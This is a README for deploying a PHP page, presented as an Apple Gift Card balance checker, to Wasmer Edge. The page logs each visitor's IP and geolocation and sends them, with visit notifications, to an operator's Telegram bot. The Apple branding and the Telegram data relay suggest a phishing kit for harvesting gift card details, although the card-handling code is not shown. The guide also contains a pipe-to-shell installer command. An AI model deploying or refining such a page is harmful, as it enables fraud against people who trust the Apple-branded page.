xforgex/applegiftcardbalance
Public
wasmer run xforgex/applegiftcardbalance

Deploying to Wasmer Edge

Everything needed is in this folder:

wasmer.toml        # package manifest: PHP runtime + docroot + php.ini
app.yaml           # Edge app config (owner, name, scaling, InstaBoot)
config/php.ini     # production PHP settings
index.php          # the page
config.php         # bot token / chat id (env-aware)
functions.php      # visitor info + Telegram helpers
assets/            # local images

The repo root is mounted at /app and served by PHP's built-in server (php -t /app -S localhost:8080). config/php.ini is loaded via PHPRC=/config/.


1. Install the Wasmer CLI (Windows)

PowerShell:

iwr https://win.wasmer.io -useb | iex

Then open a new terminal and:

wasmer login

Create an account at https://wasmer.io/signup if you don't have one.


2. Set your names

Edit wasmer.toml:

[package]
name = "YOUR_WASMER_USERNAME/applegiftcardbalance"

Edit app.yaml:

owner: YOUR_WASMER_USERNAME
name: applegiftcardbalance

YOUR_WASMER_USERNAME is the same value you see in your Wasmer dashboard. name must be unique inside your namespace.


3. Test locally (optional)

From this folder:

wasmer run .

Then open http://localhost:8080/ in a browser. Stop with Ctrl+C.

The PHP built-in server under WASI is single-threaded, which is why app.yaml sets scaling.mode: single_concurrency.


4. Deploy

wasmer deploy

Expected output:

App applegiftcardbalance (<you>) was successfully deployed 🚀
https://applegiftcardbalance.wasmer.app

Open the printed URL. If the name is taken, Wasmer suffixes it with your owner (https://applegiftcardbalance-<you>.wasmer.app).


5. Set the Telegram secrets

The bot token and chat id are read from environment variables, so keep them out of the code:

wasmer app secrets create TG_BOT_TOKEN "123456789:AA...your-token..."
wasmer app secrets create TG_CHAT_ID   "-1001234567890"

Then re-apply them to the app:

wasmer deploy

Optional toggles (also read from env):

wasmer app secrets create VISIT_NOTIFICATIONS "false"   # silence visit pings

Without these secrets, config.php falls back to the YOUR_..._HERE placeholders and the app just silently skips Telegram sends.


6. Later updates

Any change to the code is one command:

wasmer deploy

Check app info and logs:

wasmer app info
wasmer app logs

Bump the package version automatically on deploy with wasmer deploy --bump.


7. Custom domain (optional)

In the Wasmer dashboard go to the app -> Domains, add your domain, and point the DNS record it shows. SSL is provisioned automatically.


Notes / gotchas

  • Outbound HTTP: functions.php uses cURL with a file_get_contents fallback, so the Telegram send and the geo lookup (ipwho.is / ip-api.com) work on Edge. If geo ever shows Unknown, the outbound request was blocked - re-check the app logs.
  • Client IP: the Edge gateway forwards the visitor IP in X-Forwarded-For; getVisitorIP() already reads it.
  • InstaBoot: app.yaml pre-warms /. Those warm-up requests carry the x-edge-instaboot header, and index.php skips the visit notification for them so you don't get false pings on snapshot creation.
  • Static assets: everything under assets/ is served directly by the built-in server, so the page keeps loading images locally with no CDN.
  • Re-deploying is not a problem for InstaBoot: each deploy produces a fresh snapshot.

CLI cheat sheet

TaskCommand
Log inwasmer login
Run locallywasmer run .
Deploy / redeploywasmer deploy
App infowasmer app info
Logswasmer app logs
Create a secretwasmer app secrets create NAME "value"
List secretswasmer app secrets list
Update a secretwasmer app secrets update NAME "value"
Reset InstaBoot cachewasmer app purge-cache
List appswasmer app list

Apple Gift Card balance page (PHP)